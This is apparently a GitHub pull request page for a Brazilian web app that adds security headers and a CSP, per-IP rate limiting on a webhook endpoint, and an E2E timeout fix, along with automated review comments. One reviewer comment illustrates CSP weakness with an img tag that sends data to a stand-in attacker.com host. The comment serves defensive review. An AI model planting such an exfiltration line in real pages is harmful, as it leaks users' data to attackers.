fix(p1-bundle): SEC-016 CSP + OPS-002 rate-limit + e2e #61 timeout#73
Conversation
Bundle de 3 fixes pequenos do roadmap P1 da auditoria 2026-05-22. SEC-016 — Security headers no vercel.json: Adiciona Strict-Transport-Security (HSTS preload), X-Content-Type-Options, X-Frame-Options DENY, Referrer-Policy strict-origin-when-cross-origin, Permissions-Policy restritivo, e Content-Security-Policy abrangente cobrindo Supabase, Lovable AI, Sentry, ElevenLabs, Bitrix, CNPJá. Inclui cache imutável para assets estáticos (1 ano). OPS-002 — webhook-inbound rate-limit por IP: Adiciona runBotProtection no topo do handler (60 req/min por IP, block de 30min ao exceder). Antes do fix, qualquer caller anônimo podia inflar inbound_webhook_events spammando o endpoint (todas as inserts passavam pelo INSERT antes da validação HMAC). Issue #61 — Smoke E2E #93 timeout: Login com credenciais inválidas falhava no click do submit por timeout de 10s default em CI lento. Fix: waitFor toBeVisible+toBeEnabled antes do click e amplia timeout do próprio click para 15s. https://claude.ai/code/session_011Lgxm1NZGmAztRSvZHX9U3
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
|
This pull request has been ignored for the connected project Preview Branches by Supabase. |
|
Warning Rate limit exceeded
You’ve run out of usage credits. Purchase more in the billing tab. ⌛ How to resolve this issue?After the wait time has elapsed, a review can be triggered using the We recommend that you space out your commits to avoid hitting the rate limit. 🚦 How do rate limits work?CodeRabbit enforces hourly rate limits for each developer per organization. Our paid plans have higher rate limits than the trial, open-source and free plans. In all cases, we re-allow further reviews after a brief timeout. Please see our FAQ for further information. ℹ️ Review info⚙️ Run configurationConfiguration used: Path: .coderabbit.yaml Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (3)
✨ Finishing Touches🧪 Generate unit tests (beta)
Comment |
There was a problem hiding this comment.
2 issues found across 3 files
Prompt for AI agents (unresolved issues)
Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.
<file name="supabase/functions/webhook-inbound/index.ts">
<violation number="1" location="supabase/functions/webhook-inbound/index.ts:64">
P1: The new rate limit can be bypassed because IP identity is taken from spoofable `x-forwarded-for`; use a trusted proxy header for `customIdentifier` in this endpoint.</violation>
</file>
<file name="vercel.json">
<violation number="1" location="vercel.json:30">
P2: CSP uses bare `https:` in `img-src` and `media-src`, allowing content from any HTTPS origin. This weakens the CSP because an attacker with XSS can exfiltrate data via image requests (`<img src="https://attacker.com/?data=...">`) without the CSP blocking it. The rest of the CSP specifies concrete domains — these two directives should follow the same pattern by restricting to specific trusted image/media origins (e.g., explicit Cloudflare Images domain, `https://*.vercel.app`, etc.) instead of the broad `https:` scheme.</violation>
</file>
Reply with feedback, questions, or to request a fix.
Re-trigger cubic
| maxRequests: 60, | ||
| windowSeconds: 60, | ||
| blockSeconds: 1800, | ||
| allowSearchBots: false, |
There was a problem hiding this comment.
P1: The new rate limit can be bypassed because IP identity is taken from spoofable x-forwarded-for; use a trusted proxy header for customIdentifier in this endpoint.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At supabase/functions/webhook-inbound/index.ts, line 64:
<comment>The new rate limit can be bypassed because IP identity is taken from spoofable `x-forwarded-for`; use a trusted proxy header for `customIdentifier` in this endpoint.</comment>
<file context>
@@ -43,6 +51,22 @@ function timingSafeEqual(a: string, b: string): boolean {
+ maxRequests: 60,
+ windowSeconds: 60,
+ blockSeconds: 1800,
+ allowSearchBots: false,
+ },
+ corsHeaders,
</file context>
| allowSearchBots: false, | |
| allowSearchBots: false, | |
| customIdentifier: req.headers.get("cf-connecting-ip") || req.headers.get("x-real-ip") || "unknown", |
| }, | ||
| { | ||
| "key": "Content-Security-Policy", | ||
| "value": "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.gpteng.co https://vercel.live https://*.vercel.app; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: blob: https: ; font-src 'self' data: https://fonts.gstatic.com; connect-src 'self' https://*.supabase.co wss://*.supabase.co https://api.lovable.dev https://*.lovable.app https://*.vercel.app https://*.ingest.sentry.io https://*.glitchtip.io https://*.elevenlabs.io wss://*.elevenlabs.io https://api.cnpja.com https://*.bitrix24.com.br https://*.bitrix24.com; media-src 'self' blob: https:; worker-src 'self' blob:; frame-src 'self' https://vercel.live; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'; upgrade-insecure-requests" |
There was a problem hiding this comment.
P2: CSP uses bare https: in img-src and media-src, allowing content from any HTTPS origin. This weakens the CSP because an attacker with XSS can exfiltrate data via image requests (<img src="https://attacker.com/?data=...">) without the CSP blocking it. The rest of the CSP specifies concrete domains — these two directives should follow the same pattern by restricting to specific trusted image/media origins (e.g., explicit Cloudflare Images domain, https://*.vercel.app, etc.) instead of the broad https: scheme.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At vercel.json, line 30:
<comment>CSP uses bare `https:` in `img-src` and `media-src`, allowing content from any HTTPS origin. This weakens the CSP because an attacker with XSS can exfiltrate data via image requests (`<img src="https://attacker.com/?data=...">`) without the CSP blocking it. The rest of the CSP specifies concrete domains — these two directives should follow the same pattern by restricting to specific trusted image/media origins (e.g., explicit Cloudflare Images domain, `https://*.vercel.app`, etc.) instead of the broad `https:` scheme.</comment>
<file context>
@@ -1,4 +1,41 @@
+ },
+ {
+ "key": "Content-Security-Policy",
+ "value": "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.gpteng.co https://vercel.live https://*.vercel.app; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: blob: https: ; font-src 'self' data: https://fonts.gstatic.com; connect-src 'self' https://*.supabase.co wss://*.supabase.co https://api.lovable.dev https://*.lovable.app https://*.vercel.app https://*.ingest.sentry.io https://*.glitchtip.io https://*.elevenlabs.io wss://*.elevenlabs.io https://api.cnpja.com https://*.bitrix24.com.br https://*.bitrix24.com; media-src 'self' blob: https:; worker-src 'self' blob:; frame-src 'self' https://vercel.live; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'; upgrade-insecure-requests"
+ }
+ ]
</file context>
There was a problem hiding this comment.
Pull request overview
Este PR agrupa três hardenings do roadmap P1: adiciona headers de segurança/caching no deploy Vercel, aplica bot-protection (rate-limit) no endpoint público webhook-inbound para mitigar DoS por inflação de tabela, e reduz flakiness de um teste E2E smoke ajustando timeouts/esperas do submit no login inválido.
Changes:
- Adiciona security headers + CSP + cache imutável de assets no
vercel.json. - Executa
runBotProtectionno topo do handlerwebhook-inboundcom limites por IP. - Torna o teste smoke #93 mais resiliente a CI lento com
toBeVisible/toBeEnabled/clicke timeouts maiores.
Reviewed changes
Copilot reviewed 3 out of 3 changed files in this pull request and generated 3 comments.
| File | Description |
|---|---|
| vercel.json | Configura security headers (incl. CSP) e cache-control imutável para assets estáticos. |
| supabase/functions/webhook-inbound/index.ts | Aplica bot-protection/rate-limit antes do fluxo principal do webhook. |
| e2e/flows/20-all-features-smoke.spec.ts | Ajusta esperas/timeouts no submit do login inválido para reduzir timeouts no CI. |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| // Webhooks legítimos têm baixa cadência (≪60/min por IP); caller espurioso | ||
| // que ultrapassa é blocked por 30min e nunca chega no INSERT. | ||
| const protection = await runBotProtection( | ||
| req, | ||
| { | ||
| endpoint: "webhook-inbound", | ||
| maxRequests: 60, | ||
| windowSeconds: 60, | ||
| blockSeconds: 1800, | ||
| allowSearchBots: false, | ||
| }, | ||
| corsHeaders, | ||
| ); | ||
| if (!protection.allowed) return protection.blockResponse!; |
| // OPS-002: rate-limit anti-DoS por IP antes de qualquer trabalho de DB. | ||
| // Webhooks legítimos têm baixa cadência (≪60/min por IP); caller espurioso | ||
| // que ultrapassa é blocked por 30min e nunca chega no INSERT. |
| { | ||
| "key": "Permissions-Policy", | ||
| "value": "camera=(), microphone=(self), geolocation=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()" | ||
| }, |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 4a26afd634
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| endpoint: "webhook-inbound", | ||
| maxRequests: 60, | ||
| windowSeconds: 60, | ||
| blockSeconds: 1800, | ||
| allowSearchBots: false, |
There was a problem hiding this comment.
Skip bot UA blocking on inbound webhook endpoint
Applying runBotProtection here blocks requests before HMAC validation, but this endpoint is meant for machine-to-machine webhook traffic. The shared bot filter classifies empty/short User-Agents and common automation clients (for example curl, axios, node-fetch, undici) as forbidden, so legitimate webhook providers or internal automated callers can receive 403 even with a valid signature. This effectively turns a security hardening into a functional outage for some integrations.
Useful? React with 👍 / 👎.
| "source": "/(.*)\\.(js|mjs|css|woff2|woff|ttf|otf|eot|png|jpg|jpeg|gif|webp|avif|svg|ico)", | ||
| "headers": [ | ||
| { "key": "Cache-Control", "value": "public, max-age=31536000, immutable" } |
There was a problem hiding this comment.
Limit immutable cache headers to versioned static assets
This rule marks every png/svg/ico (and other extensions) as immutable for one year, but the app serves several fixed-path, non-hashed files (e.g. /favicon.ico, /favicon.svg, /placeholder.svg, /images/promo-brindes-logo.png). After any update to those files, returning users can stay on stale assets until cache expiry because immutable disables revalidation. Restrict this policy to fingerprinted filenames (or reduce TTL for public fixed URLs).
Useful? React with 👍 / 👎.
| }, | ||
| { | ||
| "key": "Content-Security-Policy", | ||
| "value": "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.gpteng.co https://vercel.live https://*.vercel.app; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: blob: https: ; font-src 'self' data: https://fonts.gstatic.com; connect-src 'self' https://*.supabase.co wss://*.supabase.co https://api.lovable.dev https://*.lovable.app https://*.vercel.app https://*.ingest.sentry.io https://*.glitchtip.io https://*.elevenlabs.io wss://*.elevenlabs.io https://api.cnpja.com https://*.bitrix24.com.br https://*.bitrix24.com; media-src 'self' blob: https:; worker-src 'self' blob:; frame-src 'self' https://vercel.live; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'; upgrade-insecure-requests" |
There was a problem hiding this comment.
Allow Cloudflare Stream embeds in CSP frame-src
The new CSP only allows frame-src 'self' https://vercel.live, but product/admin video playback renders Cloudflare Stream via iframe (getCloudflareEmbedUrl builds https://iframe.videodelivery.net/... in src/utils/cloudflare-stream.ts, consumed by GalleryVideoPlayer and ProductVideoGallery). With this policy, those iframes are blocked by CSP and video previews stop working in production.
Useful? React with 👍 / 👎.
| }, | ||
| { | ||
| "key": "Content-Security-Policy", | ||
| "value": "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.gpteng.co https://vercel.live https://*.vercel.app; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: blob: https: ; font-src 'self' data: https://fonts.gstatic.com; connect-src 'self' https://*.supabase.co wss://*.supabase.co https://api.lovable.dev https://*.lovable.app https://*.vercel.app https://*.ingest.sentry.io https://*.glitchtip.io https://*.elevenlabs.io wss://*.elevenlabs.io https://api.cnpja.com https://*.bitrix24.com.br https://*.bitrix24.com; media-src 'self' blob: https:; worker-src 'self' blob:; frame-src 'self' https://vercel.live; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'; upgrade-insecure-requests" |
There was a problem hiding this comment.
Permit configured Sentry DSN host in CSP connect-src
The CSP connect-src whitelist only includes *.ingest.sentry.io/*.glitchtip.io, but this repo documents VITE_SENTRY_DSN values on a custom host (for example https://...@erros.atomicabr.com.br/4 in docs/hardening/ONDA-5-GLITCHTIP-INIT.md) and src/lib/sentry.ts sends telemetry to that DSN origin. Under the new policy those requests are blocked, so error reporting silently stops when using the documented DSN setup.
Useful? React with 👍 / 👎.
| endpoint: "webhook-inbound", | ||
| maxRequests: 60, | ||
| windowSeconds: 60, | ||
| blockSeconds: 1800, |
There was a problem hiding this comment.
Scope webhook rate limit by slug to avoid cross-endpoint throttling
This configuration applies a single webhook-inbound limiter keyed by IP before slug resolution, so all inbound endpoints share the same 60 req/min bucket per source IP. If one integration on a shared sender IP is noisy (or retries), other independent slugs from that same IP are also forced into 429 despite valid signatures. Isolating the key by slug (e.g., ip+slug) avoids this cross-endpoint interference.
Useful? React with 👍 / 👎.
…-emptively) Adiciona runBotProtection (já presente em main via PR #73) mantendo parseContract migration desta feature. As linhas adicionadas batem exatamente com o que main introduziu, então o 3-way merge do PR #87 deve auto-resolver sem conflito. Verificado localmente: 92/92 contract tests passando.
…t to main) (#87) * feat(contracts): scaffold barrel export (test push) * feat(contracts): add errors/versioning/parse helpers + vitest alias for esm.sh→zod * feat(contracts): add v1/v2 schemas for product-webhook, webhook-inbound, webhook-dispatcher * refactor(webhooks): migrate product-webhook and webhook-inbound to parseContract (backward-compat v1; opt-in v2 via accept-version) * refactor(webhook-dispatcher): migrate to parseContract; v2 uses discriminated union (dispatch/replay/test) * test(contracts): add unit tests for errors + versioning (14 tests) * test(contracts): add contract tests for product-webhook (13) + inbound/dispatcher (16) = 29 tests * refactor(scripts): rewrite contract-testing.mjs — consume central schemas, remove hardcoded service key * docs(contracts): add README + MIGRATION_GUIDE (priorized P0/P1/P2 list of 14 funcs + 5-step recipe + special cases) * feat(contracts): P0 schemas (1/4) — send-transactional-email, kit-ai-builder, bi-copilot * feat(contracts): P0 schemas (2/4) — market-intelligence-insights, step-up-verify * feat(contracts): P1 schemas (3/4) — ownership-audit, ownership-repair, simulation-orchestrator, sync-external-db * feat(contracts): P1+P2 schemas (4/4) — trends-insights, force-global-logout, e2e-cleanup, block-ip-temporarily * feat(contracts): handler P0 — send-transactional-email migrado para parseContract * feat(contracts): handlers P0 — kit-ai-builder, bi-copilot migrados para parseContract * feat(contracts): handler P0 — market-intelligence-insights migrado para parseContract * feat(contracts): handler P0 — step-up-verify migrado para parseContract * feat(contracts): handlers P1 (1/2) — ownership-audit, ownership-repair, sync-external-db, trends-insights * feat(contracts): handler P1 (2/2) — simulation-orchestrator migrado para parseContract * feat(contracts): handlers P2 (1/2) — force-global-logout, block-ip-temporarily * feat(contracts): handler P2 (2/2) — e2e-cleanup migrado para parseContract * test(contracts): adiciona 49 testes de contrato para os 13 endpoints migrados * merge: integrate OPS-002 bot-protection (resolves PR #87 conflict pre-emptively) Adiciona runBotProtection (já presente em main via PR #73) mantendo parseContract migration desta feature. As linhas adicionadas batem exatamente com o que main introduziu, então o 3-way merge do PR #87 deve auto-resolver sem conflito. Verificado localmente: 92/92 contract tests passando.
Summary
Bundle de 3 fixes pequenos do roadmap P1 da auditoria back-end sênior 2026-05-22.
SEC-016 🟡 — Security headers no
vercel.jsonAntes: apenas
rewritespara SPA fallback. Sem CSP, sem HSTS, sem Referrer-Policy.Agora:
max-age=31536000; includeSubDomains; preloadnosniffDENY(defesa anti-clickjacking)strict-origin-when-cross-originframe-ancestors 'none',base-uri 'self',form-action 'self',object-src 'none',upgrade-insecure-requests.js/.css/fonts/imagens com hash de versão)OPS-002 🟡 —
webhook-inboundrate-limit por IPAntes: qualquer caller anônimo conseguia inserir em
inbound_webhook_events(comsignature_valid: falsemas a row entrava). Vetor de DoS por inflação.Agora:
runBotProtectionno topo do handler — 60 req/min por IP, block de 30 min ao exceder. Throttle acontece antes de qualquer query no DB.Issue #61 — Smoke E2E #93 timeout
Antes:
await page.locator(Sel.login.submit).first().click()falhava com timeout default de 10 s em CI lento (Vite cold start + SPA hydration).--max-failures=1derrubava o smoke inteiro.Agora:
toBeVisible({timeout: 15s})+toBeEnabled({timeout: 15s})+click({timeout: 15s}). Alinha com otoBeEnabledfinal que já era 15s.Test plan
Edge Functions — Deno typecheck(esse PR não toca tipos)curl -I https://we-dream-big-git-fix-p1-code-hardening-juca1.vercel.app/login,/catalogo,/admin/conexoesetc. e verificar zero violaçõeshey -n 200 -c 10 https://.../functions/v1/webhook-inbound?slug=x) deve retornar 429 após 60 reqNotas
Lint, Typecheck & Test,Test CoverageeEdge Functions — Deno typecheckem PRs anteriores (fix(db): P1 hardening — OPS-001 + PERF-001 + PERF-002 (33 policies, profiles consolidado) #71, fix(storage): MIME allowlists em 7 buckets + size cap em scripts — SEC-004 #72) são pré-existentes em main (issues [CI] TypeScript baseline regression — typecheck gate falhando em main #58, [CI] Test mocks quebrados — coverage job falha com 9+ erros em testes de Auth/Admin Conexões #59, mais a nova regressão de Deno typecheck que ainda precisa ser triagem). Este PR não introduz nenhuma nova regressão.https://claude.ai/code/session_011Lgxm1NZGmAztRSvZHX9U3
Generated by Claude Code
Summary by cubic
Adds strict security headers (incl. CSP) in
vercel.json, introduces IP rate limiting forwebhook-inbound, and stabilizes the smoke E2E login step. Improves security, prevents webhook DoS, and reduces CI flakes (addresses #61).Security & Ops
X-Content-Type-Options,X-Frame-Options: DENY,Referrer-Policy, and a restrictivePermissions-Policy. Add a comprehensive CSP covering required origins (Supabase, Lovable, Sentry, ElevenLabs, Bitrix, CNPJá, Vercel). Add 1-year immutable cache for hashed static assets invercel.json.runBotProtectionat the start ofsupabase/functions/webhook-inbound, before any DB work.Tests
Written for commit 4a26afd. Summary will update on new commits. Review in cubic